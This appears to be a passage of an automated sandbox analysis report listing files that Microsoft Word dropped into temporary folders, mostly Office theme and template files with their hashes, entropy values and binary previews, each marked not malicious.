...>..>..>..>..>..>..>......f..2V}....W>jO....5..].?.o..oPK...........G.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70.

C:\Users\user\AppData\Local\Temp\TCD8E15.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.5301133500353727
Encrypted:	false
SSDEEP:	6:Q+sxnxUXp2pRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyZ2vymD0wbnKNAH/lMz1
MD5:	1C5D58A5ED3B40486BC22B254D17D1DD
SHA1:	69B8BB7B0112B37B9B5F9ADA83D11FBC99FEC80A
SHA-256:	EBE031C340F04BB0235FE62C5A675CF65C5CC8CE908F4621A4F5D7EE85F83055
SHA-512:	4736E4F26C6FAAB47718945BA54BD841FE8EF61F0DBA927E5C4488593757DBF09689ABC387A8A44F7C74AA69BA89BEE8EA55C87999898FEFEB232B1BA8CC7086
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .G.a.l.l.e.r.y...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD8E35.tmp\Circuit.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1463634
Entropy (8bit):	7.898382456989258
Encrypted:	false
SSDEEP:	24576:75MGNW/UpLkupMAqDJhNHK4/TuiKbdhbZM+byLH/:7ZwUpLkulkHK46iiDZHeLH/
MD5:	ACBA78931B156E4AF5C4EF9E4AB3003B
SHA1:	2A1F506749A046ECFB049F23EC43B429530EC489
SHA-256:	943E4044C40ABA93BD7EA31E8B5EBEBD7976085E8B1A89E905952FA8DAC7B878
SHA-512:	2815D912088BA049F468CA9D65B92F8951A9BE82AB194DBFACCF0E91F0202820F5BC9535966654D28F69A8B92D048808E95FEA93042D8C5DEA1DCB0D58BE5175
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCD8E35.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.5286004619027067
Encrypted:	false
SSDEEP:	6:Q+sxnxUXOzXkRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny6WymD0wbnKNAH/lMz1
MD5:	40FF521ED2BA1B015F17F0B0E5D95068
SHA1:	0F29C084311084B8FDFE67855884D8EB60BDE1A6
SHA-256:	CC3575BA195F0F271FFEBA6F6634BC9A2CF5F3BE448F58DBC002907D7C81CBBB
SHA-512:	9507E6145417AC730C284E58DC6B2063719400B395615C40D7885F78F57D55B251CB9C954D573CB8B6F073E4CEA82C0525AE90DEC68251C76A6F1B03FD9943C0
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .C.i.r.c.u.i.t...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD8F22.tmp\Droplet.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1750795
Entropy (8bit):	7.892395931401988
Encrypted:	false
SSDEEP:	24576:DyeAqDJpUDH3xk8ZKIBuX3TPtd36v4o5d4PISMETGBP6eUP+xSeW3v0HKPsc:uRqUjSTPtd36AFDM/BP6eUeW3v0Fc
MD5:	529795E0B55926752462CBF32C14E738
SHA1:	E72DFF8354DF2CB6A5698F14BBD1805D72FEEAFF
SHA-256:	8D341D1C24176DC6B67104C2AF90FABD3BFF666CCC0E269381703D7659A6FA05
SHA-512:	A51F440F1E19C084D905B721D0257F7EEE082B6377465CB94E677C29D4E844FD8021D0B6BA26C0907B72B84157C60A3EFEDFD96C16726F6ABEA8D896D78B08CE
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCD8F22.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.528155916440219
Encrypted:	false
SSDEEP:	6:Q+sxnxUXcmlDuRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyMmloymD0wbnKNAH/lMz1
MD5:	AA7B919B21FD42C457948DE1E2988CB3
SHA1:	19DA49CF5540E5840E95F4E722B54D44F3154E04
SHA-256:	5FFF5F1EC1686C138192317D5A67E22A6B02E5AAE89D73D4B19A492C2F5BE2F9
SHA-512:	01D27377942F69A0F2FE240DD73A1F97BB915E19D3D716EE4296C6EF8D8933C80E4E0C02F6C9FA72E531246713364190A2F67F43EDBE12826A1529BC2A629B00
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .D.r.o.p.l.e.t...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD904E.tmp\Damask.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2218943
Entropy (8bit):	7.942378408801199
Encrypted:	false
SSDEEP:	49152:8mwK3gH/l4hM06Wqnnl1IdO9wASFntrPEWNe7:863gHt4hM9WWnMdO9w35PEWK
MD5:	EE33FDA08FBF10EF6450B875717F8887
SHA1:	7DFA77B8F4559115A6BF186EDE51727731D7107D
SHA-256:	5CF611069F281584DE3E63DE8B99253AA665867299DC0192E8274A32A82CAA20
SHA-512:	AED6E11003AAAACC3FB28AE838EDA521CB5411155063DFC391ACE2B9CBDFBD5476FAB2B5CC528485943EBBF537B95F026B7B5AB619893716F0A91AEFF076D885
Malicious:	false
Preview:	PK.........{MBS'..t...ip......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.._..w._..w._..w._..w._..w._..w.n..Ofu.-..K.e........T..q.F...R[...~.u.....Z..F....7.?.v....5O....zot..i.....b...^...Z...V...R...N...r./.?........=....#.`..\~n.n...)J./.......7........+......Q..]n............w......Ft........\|......b...^...Z...V...R...N..W<x......l._...l..?.A......x....x.9.\|.8..............u................w#.....nD..]...........R.......R.......R........o...].`.....A....#.`..\.....+J./.......7........+......Q..]n.........w9~7......Ft........\|......b...^.c..-...-...-

C:\Users\user\AppData\Local\Temp\TCD904E.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.544065206514744
Encrypted:	false
SSDEEP:	6:Q+sxnxUXCARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyy6ymD0wbnKNAH/lMz1
MD5:	06B3DDEFF905F75FA5FA5C5B70DCB938
SHA1:	E441B94F0621D593DC870A27B28AC6BE3842E7DB
SHA-256:	72D49BDDE44DAE251AEADF963C336F72FA870C969766A2BB343951E756B3C28A
SHA-512:	058792BAA633516037E7D833C8F59584BA5742E050FA918B1BEFC6F64A226AB3821B6347A729BEC2DF68BB2DFD2F8E27947F74CD4F6BDF842606B9DEDA0B75CC
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .D.a.m.a.s.k...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD907E.tmp\Slate.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2357051
Entropy (8bit):	7.929430745829162
Encrypted:	false
SSDEEP:	49152:tfVcGO3JiR6SgT7/bOCrKCsaFCX3CzwovQTSwW8nX:pVcG2iRedsaoXSzeOwWEX
MD5:	5BDE450A4BD9EFC71C370C731E6CDF43
SHA1:	5B223FB902D06F9FCC70C37217277D1E95C8F39D
SHA-256:	93BFC6AC1DC1CFF497DF92B30B42056C9D422B2321C21D65728B98E420D4ED50
SHA-512:	2365A9F76DA07D705A6053645FD2334D707967878F930061D451E571D9228C74A8016367525C37D09CB2AD82261B4B9E7CAEFBA0B96CE2374AC1FAC6B7AB5123
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCD907E.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	276
Entropy (8bit):	3.516423078177173
Encrypted:	false
SSDEEP:	6:Q+sxnxUX7kARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny5ymD0wbnKNAH/lMz1
MD5:	5402138088A9CF0993C08A0CA81287B8
SHA1:	D734BD7F2FB2E0C7D5DB8F70B897376ECA935C9A
SHA-256:	5C9F5E03EEA4415043E65172AD2729F34BBBFC1A1156A630C65A71CE578EF137
SHA-512:	F40A8704F16AB1D5DCD861355B07C7CB555934BB9DA85AACDCF869DC942A9314FFA12231F9149D28D438BE6A1A14FCAB332E54B6679E29AD001B546A0F48DE64
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .S.l.a.t.e...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD9275.tmp\Mesh.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3078052
Entropy (8bit):	7.954129852655753
Encrypted:	false
SSDEEP:	49152:bSEjlpY8skyFHuj2yY0ciM9U2NCVBB4YFzYFw7IaJE2VRK+Xn9DOOe9pp9N9Hu:bfp5sksA3cimUVxV05aJE2fKaDOXdN9O
MD5:	CDF98D6B111CF35576343B962EA5EEC6
SHA1:	D481A70EC9835B82BD6E54316BF27FAD05F13A1C
SHA-256:	E3F108DDB3B8581A7A2290DD1E220957E357A802ECA5B3087C95ED13AD93A734
SHA-512:	95C352869D08C0FE903B15311622003CB4635DE8F3A624C402C869F1715316BE2D8D9C0AB58548A84BBB32757E5A1F244B1014120543581FDEA7D7D9D502EF9C
Malicious:	false
Preview:	PK..........1AS'......ip......[Content_Types].xml..n.@.._......8ie'......}.......(y...H}......3Fi..%2.v?..3..._...d=..E.g.....7.i.-.t5.6......}}.m9r.......m...ML.g.M.eV$.r...M..l0...A...M..j;.w={o.f..F....i..v......5..d;..D.ySa...M&..qdw>.O.{h...\|w..5.]..'.CS<.:8C}.g.\|E.../..>..].Tnml..I.......r.Gv.E....7.;.E......4/l.....6.K.C?1qz.O.v_..r......\c.c.>..lS........X.N.3N.sN..N.)'.%'..'..N.pL.E...T.!..CR....Ie..k.o..M..w.B.0}..3....v..+....,.q..pz.......v{.;....s3.\|..V..ZZ......0.[.....x.....!.!~.8.e..n..&.}p....s.i.. ..[]...q.r....~..+.A\...q............e.-)h9..."Z.>...5-C..`..g.}........r.A.+..\...r.>.... .W.\...re?..%.-/hiA..ZR.r.W.D.\}.EK..kZ.>......5..9.&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^h....L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i..`..G..j..).&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^j..K.L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i.

C:\Users\user\AppData\Local\Temp\TCD9275.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.5303110391598502
Encrypted:	false
SSDEEP:	6:Q+sxnxUXzRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnylymD0wbnKNAH/lMz1
MD5:	8D1E1991838307E4C2197ECB5BA9FA79
SHA1:	4AD8BB98DC9C5060B58899B3E9DCBA6890BC9E93
SHA-256:	4ABA3D10F65D050A19A3C2F57A024DBA342D1E05706A8A3F66B6B8E16A980DB9
SHA-512:	DCDC9DB834303CC3EC8F1C94D950A104C504C588CE7631CE47E24268AABC18B1C23B6BEC3E2675E8A2A11C4D80EBF020324E0C7F985EA3A7BBC77C1101C23D01
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .M.e.s.h...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD9285.tmp\Main_Event.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2924237
Entropy (8bit):	7.970803022812704
Encrypted:	false
SSDEEP:	49152:mc4NEo4XNd5wU5qTkdC4+K9u5b/i40RKRAO/cLf68wy9yxKrOUURBgmai2prH:mJef5yTSoKMF//DRGJwLx9DBaH
MD5:	5AF1581E9E055B6E323129E4B07B1A45
SHA1:	B849F85BCAF0E1C58FA841FFAE3476D20D33F2DD
SHA-256:	BDC9FBF81FBE91F5BF286B2CEA00EE76E70752F7E51FE801146B79F9ADCB8E98
SHA-512:	11BFEF500DAEC099503E8CDB3B4DE4EDE205201C0985DB4CA5EBBA03471502D79D6616D9E8F471809F6F388D7CBB8B0D0799262CBE89FEB13998033E601CEE09
Malicious:	false
Preview:	PK.........{MB.$<.~....p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^.......H^..<}...lA-.D.....lI/...hD.Z....\|VM..ze........L..tU...g....lQ....Y...>MI...5-....S......h=..u.h..?;h...@k...h...'Z...D...;.....h=..'Z...D...;.....)^./.../U.../..../U.../..../U..?...'.........Ngz..A.~.8.#D....xot.u.?...eyot.n..{..sk....[......Z..F....l...o)..o..o...oi..o)..o..,..b.s......2.C.z.~8.......f......x.9.\|.8..............u................r.nD..]...........w.~7...-...-...-...-...-...-....x.&l........>.4.z.~8..........=E....As.1..q. 9....w.7...1........w.}7......Ft...................o)..o..o...oi..o)..o..w.7a...x0...........d0..............A.......Fl.............Ft................w#...r.nD..]..M...K1.0..7....

C:\Users\user\AppData\Local\Temp\TCD9285.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.5434534344080606
Encrypted:	false
SSDEEP:	6:Q+sxnxUXIc5+RELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny4KcymD0wbnKNAH/lMz1
MD5:	C9812793A4E94320C49C7CA054EE6AA4
SHA1:	CC1F88C8F3868B3A9DE7E0E5F928DBD015234ABA
SHA-256:	A535AE7DD5EDA6D31E1B5053E64D0D7600A7805C6C8F8AF1DB65451822848FFC
SHA-512:	D28AADEDE0473C5889F3B770E8D34B20570282B154CD9301932BF90BF6205CBBB96B51027DEC6788961BAF2776439ADBF9B56542C82D89280C0BEB600DF4B633
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .M.a.i.n._.E.v.e.n.t...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD940E.tmp\Vapor_Trail.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3611324
Entropy (8bit):	7.965784120725206
Encrypted:	false
SSDEEP:	49152:ixc1kZBIabo4dTJyr3hJ50gd9OaFxTy+1Nn/M/noivF0po3M0h0Vsm:ixcaAabT83hJLdoaFxTygxcoiX3M0iCm
MD5:	FB88BFB743EEA98506536FC44B053BD0
SHA1:	B27A67A5EEC1B5F9E7A9C3B76223EDE4FCAF5537
SHA-256:	05057213BA7E5437AC3B8E9071A5577A8F04B1A67EFE25A08D3884249A22FBBF
SHA-512:	4270A19F4D73297EEC910B81FF17441F3FC7A6A2A84EBA2EA3F7388DD3AA0BA31E9E455CFF93D0A34F4EC7CA74672D407A1C4DC838A130E678CA92A2E085851C
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCD940E.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.5359188337181853
Encrypted:	false
SSDEEP:	6:Q+sxnxUXe46x8RELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyO3UymD0wbnKNAH/lMz1
MD5:	0FEA64606C519B78B7A52639FEA11492
SHA1:	FC9A6D5185088318032FD212F6BDCBD1CF2FFE76
SHA-256:	60059C4DD87A74A2DC36748941CF5A421ED394368E0AA19ACA90D850FA6E4A13
SHA-512:	E04102E435B8297BF33086C0AD291AD36B5B4A97A59767F9CAC181D17CFB21D3CAA3235C7CD59BB301C58169C51C05DDDF2D637214384B9CC0324DAB0BB1EF8D
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .V.a.p.o.r._.T.r.a.i.l...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD94FA.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.4699940532942914
Encrypted:	false
SSDEEP:	6:fxnxUXGWWYlIWimoa2nRE3QepmlJ0+3FbnKfZObdADxp1RDWlVwv:fxny2WzIgN2RGHmD0wbnKYZAH+Vwv
MD5:	55BA5B2974A072B131249FD9FD42EB91
SHA1:	6509F8AC0AA23F9B8F3986217190F10206A691EA
SHA-256:	13FFAAFFC987BAAEF7833CD6A8994E504873290395DC2BD9B8E1D7E7E64199E7
SHA-512:	3DFB0B21D09B63AF69698252D073D51144B4E6D56C87B092F5D97CE07CBCF9C966828259C8D95944A7732549C554AE1FF363CB936CA50C889C364AA97501B558
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .I.n.s.i.g.h.t. .d.e.s.i.g.n. .s.e.t...d.o.t.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.W.D. .D.o.c.u.m.e.n.t. .P.a.r.t.s.}.........

C:\Users\user\AppData\Local\Temp\TCD94FA.tmp\Insight design set.dotx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	3465076
Entropy (8bit):	7.898517227646252
Encrypted:	false
SSDEEP:	98304:n8ItVaN7vTMZ9IBbaETXbI8ItVaN7vTMZ9IBbaEiXbY:8ItwNX9BvTvItwNX9BvoM
MD5:	8BC84DB5A3B2F8AE2940D3FB19B43787
SHA1:	3A5FE7B14D020FAD0E25CD1DF67864E3E23254EE
SHA-256:	AF1FDEEA092169BF794CDC290BCA20AEA07AC7097D0EFCAB76F783FA38FDACDD
SHA-512:	558F52C2C79BF4A3FBB8BB7B1C671AFD70A2EC0B1BDE10AC0FED6F5398E53ED3B2087B38B7A4A3D209E4F1B34150506E1BA362E4E1620A47ED9A1C7924BB9995
Malicious:	false
Preview:	PK.........Y5B................[Content_Types].xml ...(.................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^.....g.../i..b../..}.-......U.....o.7B.......}@[..4o...E9n..h...Y....D.%......F....g..-!.\|p.....7.pQVM.....B.g.-.7....:...d.2...7bA..Us.z.`.r..,.m."..n....s.O^.....fL.........7.....-...gn,J..iU..$.......i...(..dz.....3\|

C:\Users\user\AppData\Local\Temp\cab883D.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 14864 bytes, 2 files, at 0x4c "mlaseventheditionofficeonline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31008
Entropy (8bit):	7.806058951525675
Encrypted:	false
SSDEEP:	768:ktH7oN/HbwiV+M+4Jc+5UrT3czi5uOHQA8Pi6DxUR/WTZIy:87sPEANXJc+eTMsuzP7DmN0ZIy
MD5:	E033CCBC7BA787A2F824CE0952E57D44
SHA1:	EEEA573BEA217878CD9E47D7EA94E56BDAFFE22A
SHA-256:	D250EB1F93B43EFB7654B831B4183C9CAEC2D12D4EFEE8607FEE70B9FAB20730
SHA-512:	B807B024B32E7F975AED408B77563A6B47865EECE32E8BA993502D9874B56580ECC9D9A3FEFA057FDD36FB8D519B6E184DB0593A65CC0ACF5E4ACCBEDE0F9417
Malicious:	false
